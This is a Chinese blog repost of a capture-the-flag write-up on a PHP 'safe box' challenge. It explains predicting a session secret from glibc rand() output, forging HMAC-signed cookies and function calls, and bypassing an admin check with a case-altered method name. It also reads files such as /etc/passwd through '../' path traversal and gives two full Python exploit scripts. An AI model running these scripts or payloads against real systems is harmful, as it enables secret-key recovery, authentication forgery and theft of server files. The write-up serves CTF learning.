阿八博客
  • 100000+

    文章

  • 23

    评论

  • 20

    友链

  • 最近新加了很多技术文章,大家多来逛逛吧~~~~
  • 喜欢这个网站的朋友可以加一下QQ群,我们一起交流技术。

安全箱子的秘密

欢迎来到阿八个人博客网站。本 阿八个人博客 网站提供最新的站长新闻,各种互联网资讯。 喜欢本站的朋友可以收藏本站,或者加QQ:我们大家一起来交流技术! URL链接:https://www.abboke.com/rz/2019/1010/116688.html

0x01 rand缺陷导致密钥泄露

目标: http://0dac0a717c3cf340e.jie.sangebaimao.com:82/index.php

随便写点东西,抓包,发现html源码里有个?x_show_source:

14660517818113.jpg

于是访问 http://0dac0a717c3cf340e.jie.sangebaimao.com:82/index.php?x_show_source ,找到源码。

分析一下,发现这里每个新的session会生成两个随机字符串,SECRET_KEY和CSRF_TOKEN。其中CSRF_TOKEN是防御CSRF的token,会直接显示在表单中;而SECRET_KEY是类似密钥的东西,在后面需要利用这个密钥给数据签名。

但密钥是不知道的,这就是本题第一个难点,如何得知密钥。我们看到随机字符串生成函数rand_str:

codehilite">
<?phpfunction rand_str($length = 16){    $rand = [];    $_str = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";    for($i = 0; $i < $length; $i++) {        $n = rand(0, strlen($_str) - 1);        $rand[] = $_str{$n};    }    return implode($rand);} 

可见,这里用的是rand函数生成的随机数。在linux下,PHP的rand函数是调用glibc库中的rand函数,其实现是有缺陷的。可见这篇文章: http://www.sjoerdlangkemper.nl/2016/02/11/cracking-php-rand/

其提到一个公式:

state[i] = state[i-3] + state[i-31]

也就是说,rand生成的第i个随机数,等于i-3个随机数加i-31个随机数的和。

所以,我们只要生成大于32个随机数,就可以陆续推测出后面的随机数是多少了。我们看到代码:

codehilite">
<?phpif(empty($_SESSION['SECRET_KEY'])) {    $_SESSION['SECRET_KEY'] = rand_str(6);}if(empty($_SESSION['CSRF_TOKEN'])) {    $_SESSION['CSRF_TOKEN'] = rand_str(16);}

当一个新请求来到时,index.php会先生成6个随机数组成的字符串作为SECRET_KEY,再生成16个随机数组成的字符串CSRF_TOKEN,而且CSRF_TOKEN是已知的。那么一次请求最多生成22个随机数,是不到31的,所以并不能使用上面的公式。

我们知道HTTP1.1协议支持Keep-Alive,也就是说一个TCP连接支持收发多个HTTP数据包,只要TCP连接不断那么这个随机数生成就是连续的。所以我只需要发送两个带有Keep-Alive的数据包即可拿到一共44个随机数。

这44个随机数大概是这样的:

a[0]~a[5]未知 + a[6]~a[21]已知 + a[22]~a[27]未知 + a[28]~a[43]已知

然后我们再次发送不带session的数据包,则再次生成『6未知+16已知』,这时『6未知』就可以推测了。根据公式,a[45] = a[14] + a[42],而a[14]和a[42]正好是已知的;根据公式,a[50] = a[19] + a[47],而a[14]和a[42]也是已知的。
所以,我们是可以推算出a[45]~a[50]这6个随机数的,进而推算出此时的SECRET_KEY。
当然,实际操作时会有一定误差,一般是推算出来的值比真实值小1。那么,我们一共推算6个随机数,可能的情况就是:

number 1number 2number 3number 4number 5number 6abcdefa+1b+1c+1d+1e+1f+1

做一个笛卡尔乘积,一共得到如下一些情况:

codehilite">
[('a', 'b', 'c', 'd', 'e', 'f'),('a', 'b', 'c', 'd', 'e', 'f+1'),('a', 'b', 'c', 'd', 'e+1', 'f'),('a', 'b', 'c', 'd', 'e+1', 'f+1'),('a', 'b', 'c', 'd+1', 'e', 'f'),('a', 'b', 'c', 'd+1', 'e', 'f+1'),('a', 'b', 'c', 'd+1', 'e+1', 'f'),('a', 'b', 'c', 'd+1', 'e+1', 'f+1'),('a', 'b', 'c+1', 'd', 'e', 'f'),('a', 'b', 'c+1', 'd', 'e', 'f+1'),('a', 'b', 'c+1', 'd', 'e+1', 'f'),('a', 'b', 'c+1', 'd', 'e+1', 'f+1'),('a', 'b', 'c+1', 'd+1', 'e', 'f'),('a', 'b', 'c+1', 'd+1', 'e', 'f+1'),('a', 'b', 'c+1', 'd+1', 'e+1', 'f'),('a', 'b', 'c+1', 'd+1', 'e+1', 'f+1'),('a', 'b+1', 'c', 'd', 'e', 'f'),('a', 'b+1', 'c', 'd', 'e', 'f+1'),('a', 'b+1', 'c', 'd', 'e+1', 'f'),('a', 'b+1', 'c', 'd', 'e+1', 'f+1'),('a', 'b+1', 'c', 'd+1', 'e', 'f'),('a', 'b+1', 'c', 'd+1', 'e', 'f+1'),('a', 'b+1', 'c', 'd+1', 'e+1', 'f'),('a', 'b+1', 'c', 'd+1', 'e+1', 'f+1'),('a', 'b+1', 'c+1', 'd', 'e', 'f'),('a', 'b+1', 'c+1', 'd', 'e', 'f+1'),('a', 'b+1', 'c+1', 'd', 'e+1', 'f'),('a', 'b+1', 'c+1', 'd', 'e+1', 'f+1'),('a', 'b+1', 'c+1', 'd+1', 'e', 'f'),('a', 'b+1', 'c+1', 'd+1', 'e', 'f+1'),('a', 'b+1', 'c+1', 'd+1', 'e+1', 'f'),('a', 'b+1', 'c+1', 'd+1', 'e+1', 'f+1'),('a+1', 'b', 'c', 'd', 'e', 'f'),('a+1', 'b', 'c', 'd', 'e', 'f+1'),('a+1', 'b', 'c', 'd', 'e+1', 'f'),('a+1', 'b', 'c', 'd', 'e+1', 'f+1'),('a+1', 'b', 'c', 'd+1', 'e', 'f'),('a+1', 'b', 'c', 'd+1', 'e', 'f+1'),('a+1', 'b', 'c', 'd+1', 'e+1', 'f'),('a+1', 'b', 'c', 'd+1', 'e+1', 'f+1'),('a+1', 'b', 'c+1', 'd', 'e', 'f'),('a+1', 'b', 'c+1', 'd', 'e', 'f+1'),('a+1', 'b', 'c+1', 'd', 'e+1', 'f'),('a+1', 'b', 'c+1', 'd', 'e+1', 'f+1'),('a+1', 'b', 'c+1', 'd+1', 'e', 'f'),('a+1', 'b', 'c+1', 'd+1', 'e', 'f+1'),('a+1', 'b', 'c+1', 'd+1', 'e+1', 'f'),('a+1', 'b', 'c+1', 'd+1', 'e+1', 'f+1'),('a+1', 'b+1', 'c', 'd', 'e', 'f'),('a+1', 'b+1', 'c', 'd', 'e', 'f+1'),('a+1', 'b+1', 'c', 'd', 'e+1', 'f'),('a+1', 'b+1', 'c', 'd', 'e+1', 'f+1'),('a+1', 'b+1', 'c', 'd+1', 'e', 'f'),('a+1', 'b+1', 'c', 'd+1', 'e', 'f+1'),('a+1', 'b+1', 'c', 'd+1', 'e+1', 'f'),('a+1', 'b+1', 'c', 'd+1', 'e+1', 'f+1'),('a+1', 'b+1', 'c+1', 'd', 'e', 'f'),('a+1', 'b+1', 'c+1', 'd', 'e', 'f+1'),('a+1', 'b+1', 'c+1', 'd', 'e+1', 'f'),('a+1', 'b+1', 'c+1', 'd', 'e+1', 'f+1'),('a+1', 'b+1', 'c+1', 'd+1', 'e', 'f'),('a+1', 'b+1', 'c+1', 'd+1', 'e', 'f+1'),('a+1', 'b+1', 'c+1', 'd+1', 'e+1', 'f'),('a+1', 'b+1', 'c+1', 'd+1', 'e+1', 'f+1')] 

依次试一遍就好了。

0x02 PHP鸡肋任意代码执行

依次测试上述推测出的SECRET_KEY,当页面返回值不再提示Permission deny!!时,说明预测准确。此时我们拿到了SECRET_KEY,即可计算hmac,实际上计算hmac是为了控制$act$act是后面PHP执行的函数:

codehilite">
<?phpif(hash_hmac('md5', $act, $_SESSION['SECRET_KEY']) === $key) {   if(function_exists($act)) {       $exec_res = $act();       output($exec_res);   } else {       show_error_page("Function not found!!");   }} else {   show_error_page("Permission deny!!");}

$act(),这里等于说存在一个『任意代码执行』漏洞。但这个漏洞比较鸡肋,虽然可以执行任意函数,但因为没有传入参数,所以导致执行诸如assert、system之类的函数是没用的,会报错:

14660635298209.jpg

那么,我们只能利用php里一些不含参数的函数。php里有几个get开头的函数,其效果还是蛮强的:

14660639680966.jpg

主要有以下一些:

get_defined_functions 可以获取所有已经定义的函数get_defined_constants 可以获取所有已经定义的常量get_defined_vars 可以获取所有已经定义的变量get_included_files 可以获取所有已经包含的文件get_loaded_extensions 可以获取所有加载的扩展get_declared_classes 可以获取所有已经声明的类get_declared_interfaces 可以获取所有已经声明的接口

其中,第1~4个方法十分致命。一般一个网站加密密钥、数据库配置信息多半存在常量或全局变量中,通过第2、3个方法即可全部获取,而通过第1、4个方法可以大致获取网站结构,了解函数状况。

这里,我们通过调用get_defined_functions,即可获得一个包含所有已经定义的函数的数组。不过,我们需要设置HTTP头:

codehilite">
<?phpfunction output($obj){    if(isset($_SERVER['HTTP_X_REQUESTED_WITH']) &&        strcasecmp($_SERVER['HTTP_X_REQUESTED_WITH'], 'XMLHttpRequest') === 0) {        header("Content-Type: application/json");        echo json_encode($obj);    } else {        header("Content-Type: text/html; charset=UTF-8");        echo strval($obj);    }}

因为我们要获取的是数组,数组直接输出是会被强制转换成字符串的。所以我将X-REQUESTED-WITH设置为XMLHttpRequest,即可让输出结果转换成json,这样数组就被保留了:

14660645664569.jpg

输出所有函数,我发现用户函数中有几个函数在源码中没看到:_fd_init,fd_show_source,fd_config,fd_error,fg_safebox

分别执行一下,发现fd_show_source是读取源码:

14660646878115.jpg

0x03 提权+任意文件读取漏洞

整理一下这个源码,发现主要逻辑在fg_safebox函数中,观察一下:

codehilite">
<?phpfunction fg_safebox(){    _fd_init();    $config = fd_config();    $action = isset($_POST['method']) ? $_POST['method'] : "";    $role = isset($_SESSION["userinfo"]['role']) ? $_SESSION["userinfo"]['role'] : "";    if(!in_array($role, ['admin', 'user'])) {        return fd_error('Permission denied!!');    }    if(in_array($action, $config['role']['admin']) && $role != "admin") {        return fd_error('Admin permission denied!!');    }    $box = new SafeBox();    if(method_exists($box, $action)) {        return call_user_func([$box, $action]);    } else {        return null;    }}

先调用了_fd_init()。然后检查用户session[role]是否是admin或user,并检查用户是否有权限执行某函数。

先看看_fd_init:

codehilite">
<?phpfunction _fd_init(){    //定义role必须为guest    $_SESSION["userinfo"] = [        "role" => "guest"    ];    $cookie = isset($_COOKIE['userinfo']) ? base64_decode($_COOKIE['userinfo']) : "";    if(empty($cookie) || strlen($cookie) < 32) {        return false;    }    $h1 = substr($cookie, 0, 32);    $h2 = substr($cookie, 32);    if($h1 !== hash_hmac("md5", $h2, $_SESSION['SECRET_KEY'])) {        return false;    }    //防止身份伪造    if(strpos($h2, "admin") !== false || strpos($h2, "user") !== false) {        return false;    }    $s = json_decode($h2, true);    $s['role'] = strval($s['role']);    if($s['role'] == 'admin') {        return false;    }    $_SESSION["userinfo"] = array_merge($_SESSION["userinfo"], $s);    return true;}

实际上是从cookie中取出信息并用json_decode解码后作为session,我们的目标是控制$_SESSION['userinfo']['role']。有三个地方注意一下就好了:

cookie中取出的信息先进行签名认证,但因为密钥SECRET_KEY已经拿到了,所以不成问题admin和user这两个字符串不能出现在json中,我们可以利用unicode编码,比如{<q>role</q>: <q>\u0075ser</q>}role的值不能为admin

主要是第三个问题,role的值不能是admin,那么执行不了read方法:

codehilite">
<?phpprivate function _read_file($filename){    $filename = dirname(__FILE__) . "/" . $filename;    return file($filename);}public function read(){    $filename = isset($_POST['filename']) ? $_POST['filename'] : "box.txt";    return $this->_read_file($filename);}

而read方法很明显是有任意文件读取漏洞的,所以现在做的是提权。

我们执行fd_config()函数,可以得到权限分配的数组:

14660765094390.jpg

可以看到,admin对应的方法有read,而user对应的方法有view、alist、random,在flag.php的97行对权限进行检查:

codehilite">
<?phpif(in_array($action, $config['role']['admin']) && $role != "admin") {    return fd_error('Admin permission denied!!');}

$action$config['role']['admin']数组中时,如果你的role又不是admin,则提示权限错误。

其实这里又涉及到php的大小写敏感问题,php语言的方法名、类名、函数名是大小写不敏感的,也就是说平时执行phpinfo()可以读取php信息,执行PhPInfO()效果也是一样的。

所以,我只需要传入的$action为READ等包含大写字母即可绕过in_array的限制,而最后仍然可以执行read方法。

执行read方法后即可读取任意文件,按常规渗透方式读取一些常见文件

codehilite">
/etc/passwd/etc/hosts/etc/apache2/httpd.conf/etc/php5/php.ini/etc/cron 

在/etc/apache2/httpd.conf的最后几行发现flag:

14660773376068.jpg

0x04 编写脚本

这个题其实难度并不大,但复杂,十分复杂,几乎不可能通过手工拿到flag,必须要写脚本。
首先,我要先写一个获取SECRET_KEY的脚本,就是我在0x01中说到的,利用rand函数缺陷预测SECRET_KEY,并通过笛卡尔乘积生成可能的情况,一一测试,最终找到正确的SECRET_KEY。
给出我的脚本:

codehilite">
#!/usr/bin/env pythonimport requestsimport reimport itertoolsimport randomimport stringimport hmacimport hashlibimport sysrand = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'target = "http://0dac0a717c3cf340e.jie.sangebaimao.com:82/index.php"def get_csrf_token(res):    rex = re.search(r'name="CSRF_TOKEN" value="(\w+)"', res.content)    return rex.group(1)def str_to_random(lst):    return [rand.find(s) for s in lst]def random_to_str(lst):    return ''.join([rand[i] if 0 <= i < len(rand) else '0' for i in lst])def calc_key(lst):    for i in range(len(lst), len(lst) + 6):        assert(lst[i - 31] != -1)        assert(lst[i - 3] != -1)        lst.append((lst[i - 31] + lst[i - 3]) % len(rand))    return lst[-6:]def test_token(s, secret):    res = s.get(target)    token = get_csrf_token(res)    res = s.post(target, data={        "submit": "1",        "CSRF_TOKEN": token,        "act": "phpinfo",        "key": hash_hmac("phpinfo", secret)    })    if res.content.find("Permission deny!!") < 0:        sys.stdout.write("\n")        print("[cookies ]", s.headers['Cookie'])        print("[key ]", secret)        print("[content ]", res.content)        return True    else:        sys.stdout.write(".")        sys.stdout.flush()        return Falsedef hash_hmac(data, key):    h = hmac.new(key, data, hashlib.md5)    return h.hexdigest()def rand_str(length):    return ''.join(random.choice(string.letters + string.digits) for _ in range(length))def calc_maybe(lst):    prd = []    for i in lst:        prd.append((i, i+1))    return itertools.product(*prd)rand_lst = []s = requests.session();s.headers = {    "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) "                  "AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51"                  ".0.2704.63 Safari/537.36"}for i in range(2):    s.headers['Cookie'] = "PHPSESSID={};".format(rand_str(12))    res = s.get(target)    token = get_csrf_token(res)    rand_lst += list("\x00" * 6)    rand_lst += list(token)#print(rand_lst)rand_lst = str_to_random(rand_lst)key_arr = calc_key(rand_lst)print("[calc key] ", key_arr)s.headers['Cookie'] = "PHPSESSID={};".format(rand_str(12))for fkey in calc_maybe(key_arr):    if test_token(s, random_to_str(fkey)):        break

有几点要注意的:

CSRF_TOKEN每次使用完就会销毁,所以每次发送POST请求之前都需要获取一个CSRF_TOKEN为了保证Keep-Alive,使用requests库的session类来维持会话为了生成44个随机数,需要发送两次数据包,发送数据包前需要更换sessionid,否则第二次不会再生成新的随机数。我的做法是发送前自己生成随机字符串作为sessionid笛卡尔积可以用python的itertools.product方法最终获取准确的secret_key后,要输出这个secret_key,同时还要输出当前sessionid,后续操作均需要带着这个sessionid

这个脚本有一定的失败率,具体为什么不细讲了,多试几次肯定Ok就是了:

14660780995414.jpg

拿到key了,然后我们再写一个脚本。这个脚本的目的是读取文件:

codehilite">
#!/usr/bin/env pythonimport hmacimport hashlibimport sysimport requestsimport reimport urlparseimport jsonimport base64import urllibsecret = "5ist0d"session = "eiZCh9cVSo35"target = "http://0dac0a717c3cf340e.jie.sangebaimao.com:82/index.php"def get_csrf_token(res):    rex = re.search(r'name="CSRF_TOKEN" value="(\w+)"', res.content)    return rex.group(1)def hash_hmac(data, key):    h = hmac.new(key, data, hashlib.md5)    return h.hexdigest()if __name__ == '__main__':    func = sys.argv[1]    post_data = {}    cookie = '{"role": "\\u0075ser"}'    auth = hash_hmac(cookie, secret)    s = requests.session()    s.headers = {        "Cookie": "PHPSESSID={}; userinfo={}".format(session, urllib.quote(base64.b64encode(auth+cookie))),        "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) "                      "AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51"                      ".0.2704.63 Safari/537.36",        "X-REQUESTED-WITH": "XMLHttpRequest"    }    res = s.get(target)    token = get_csrf_token(res)    post_data.update({        "submit": "1",        "CSRF_TOKEN": token,        "act": func,        "key": hash_hmac(func, secret),         "method": "reaD",        "filename": "../../etc/passwd"    })    res = s.post(target, data=post_data)    print(res.content)

将刚才获取的secret和sessionid填入脚本,执行即可读取../../etc/passwd文件。我们可以在sys.argv[1]传入想执行的函数,比如

codehilite">
./calc.py fd_show_source./calc.py fd_config./calc.py fg_safebox 

当然,最终我们要执行的是fg_safebox,在post包中设置method=reaD,filename是想读的文件,cookie中配置好role=user的json字符串,执行即可:

14660788476962.jpg

相关文章